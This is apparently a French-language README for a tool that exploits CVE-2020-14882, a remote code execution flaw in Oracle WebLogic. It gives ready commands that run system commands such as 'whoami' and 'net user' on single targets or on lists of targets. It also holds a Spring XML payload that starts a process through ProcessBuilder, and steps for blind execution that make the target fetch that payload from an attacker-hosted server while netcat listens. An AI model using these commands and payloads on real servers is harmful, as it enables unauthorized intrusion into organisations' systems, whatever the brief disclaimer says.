ggyao/cve-2020-14882_allOutil d'exploitation complet CVE-2020-14882_ALL, prend en charge la détection d'écho de commande, l'écho de commande par lots, l'exécution de commande sans écho via XML externe, etc.
Outil complet pour CVE-2020-14882_ALL, prenant en charge la détection de l'écho de commande, l'écho de commande par lots, l'exécution de commande sans écho via XML externe, etc.
Modules requis : requests, http.client
** (L'outil est uniquement destiné aux tests de sécurité autorisés. Ne pas utiliser à des fins illégales. Les violations ne sont pas de la responsabilité de l'auteur.) **
Versions connues pour le module d'écho de commande : 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"
python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"
python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"
Format de target.txt : http://x.x.x.x:xx, une ligne par cible.
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
</list>
</constructor-arg>
</bean>
</beans>
Lancez l'écoute Python.
Lancez l'écoute avec netcat.
python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml
